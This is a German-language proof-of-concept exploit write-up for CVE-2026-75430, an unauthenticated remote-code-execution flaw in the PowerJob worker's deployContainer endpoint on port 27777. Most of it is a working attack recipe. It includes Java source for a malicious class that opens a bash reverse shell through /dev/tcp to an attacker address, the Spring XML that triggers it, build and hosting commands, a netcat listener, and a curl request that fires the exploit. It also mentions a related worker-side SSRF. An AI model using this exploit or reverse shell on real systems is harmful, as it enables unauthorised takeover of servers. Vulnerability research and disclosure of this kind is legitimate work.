
Proof-of-Concept-Exploit für CVE-2026-75430, das eine nicht authentifizierte Remote-Codeausführung auf dem PowerJob-Worker über das willkürliche Laden von JAR-Dateien über den deployContainer-Endpunkt ermöglicht.
/worker/deployContainer (Beliebiges JAR-Laden)Der PowerJob Worker stellt den deployContainer-Handler auf seinem HTTP-Transportport 27777 ohne jegliche Authentifizierung bereit. Ein Angreifer übermittelt eine beliebige URL; der Worker lädt dieses JAR herunter und lädt es über URLClassLoader + Spring ClassPathXmlApplicationContext, wodurch während der Spring-init-method beliebiger Code ausgeführt wird → Worker-RCE. Das Standard-docker-compose veröffentlicht diesen Port auf dem Host.
Voraussetzung (ehrliche Aussage): Der Worker muss laufen (27777 hört zu). In der Standardkonfiguration validiert der Worker beim Start, dass seine App auf dem Server registriert ist (/server/assert); wenn die App nicht registriert ist, startet der Worker nicht und 27777 hört nicht zu (verifiziert: Der Java-Prozess beendet sich mit Code 1). Daher ist ein strikt frischer Zustand „docker-compose up ohne Konsolen-Setup" nicht direkt ausnutzbar. Allerdings erfordert der normale Betrieb von PowerJob zwingend, dass die App registriert und der Worker online ist (andernfalls plant das System keine Jobs), sodass jede tatsächlich genutzte Bereitstellung die Voraussetzung inhärent erfüllt, wonach der Exploit ohne Anmeldedaten auskommt. Im Gegensatz dazu hat der verwandte Befund PJ-08 (Server /friend/process) keine solche Voraussetzung – der Server bindet Port 10010 beim Start bedingungslos.
powerjob-worker, bereitgestellt über das offizielle powerjob-worker-samples-Image)docker-compose.yml-Worker-Dienst, HTTP-Protokoll, Port 27777 (PowerJobWorkerConfig.java:34)| Element | Wert |
|---|---|
| Einstiegspunkt | POST http://<worker>:27777/worker/deployContainer |
| Handler | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), keine Authentifizierung) |
| Download | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Laden | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Anfragetext ServerDeployContainerRequest (Felder containerId/containerName/version/downloadURL).
WorkerActor-Handler vertraut downloadURL vollständig.OmsContainerFactory lädt das JAR von einer beliebigen URL herunter und ruft sofort OmsJarContainer.init() auf: URLClassLoader-Laden + Spring-Kontext-refresh() → bösartiger Code wird während der Klassen-/Bean-Initialisierung ausgeführt.Voraussetzung: Der Worker läuft und 27777 hört zu (von jeder Produktions-/Demo-Bereitstellung erfüllt; wenn der Betreiber dem offiziellen Ablauf gefolgt ist und die Beispiel-App erstellt hat, ist der Worker online). Für die Reproduktion kann der Worker mit --powerjob.worker.allow-lazy-connect-server=true gestartet werden, um die App-Registrierungsprüfung zu überspringen (in Produktion nicht empfohlen; beachten Sie, dass der Schalter nur beeinflusst, ob der Worker online geht – er ändert nichts an der fehlenden Authentifizierung auf dem offenen Port).
OmsJarContainer.init()):
oms-worker-container.properties mit PACKAGE_NAME=com.evilcom/evil/Exploit.class – eine Klasse, die eine Spring-init-method (z. B. run()) bereitstellt, die einen Befehl ausführtoms-worker-container-spring-context.xml – <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer an den Worker-Port 27777 mit dem Text {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() lädt die Klasse (führt keine statischen Initialisierer aus), dann instanziiert ClassPathXmlApplicationContext.refresh() das Bean und ruft die init-method → beliebige Befehlsausführung auf (mit den Laufzeitrechten des Workers).AbstractScriptProcessor.java:118-123 unterstützt ebenfalls das Herunterladen von einer beliebigen URL → SSRF auf Worker-Seite.Keine Ausgabe-Rückmeldung: Der
deployContainer-Handler gibtvoidzurück, sodass die HTTP-Antwort keine Befehlsausgabe enthält (verifiziert: leerer Textkörper). Für die interaktive Befehlsausführung ist die primäre Technik eine Reverse Shell (siehe Reproduktion unten); die Marker-Datei-Variante ist nur eine lokale, nicht-interaktive Verifikation.
Umgebung: JDK 21, aus dem Quellcode erstelltes powerjob-worker-samples-5.1.2.jar, Worker lauscht auf 192.168.49.128:27777 (gestartet mit --powerjob.worker.allow-lazy-connect-server=true, um die App-Registrierung zu überspringen).
Primär – Reverse Shell (interaktive Befehlsausführung):
Die Exploit.run()-Methode des bösartigen JARs (Spring-init-method) startet eine Reverse Shell. Da es keine Ausgabe-Rückmeldung gibt, ist dies der effektive Weg, um eine interaktive Befehlsausführung auf dem Worker-Host zu erhalten.
# 1) Angreifer lauscht zuerst:
nc -lvnp 7878
# 2) Erstellung des bösartigen JARs – Exploit.run() führt eine Bash-Reverse-Shell aus
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # evil.jar hosten
# 3) Auslösen (ohne Anmeldedaten):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
Alternativ kann das Skript zur Verifizierung verwendet werden: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Kernpunkt des PoC:
OhMyClassLoader.load()ruft nurloadClass()auf, das keine statischen Initialisierer ausführt; der tatsächliche Ausführungspunkt ist die vonClassPathXmlApplicationContext.refresh()aufgerufene Spring-init-method. Das bösartige JAR muss daher die Spring-XML-Datei enthalten undinit-methoddeklarieren. Die Reverse Shell muss über/bin/bash -claufen, da/bin/sh(dash)/dev/tcpnicht parst.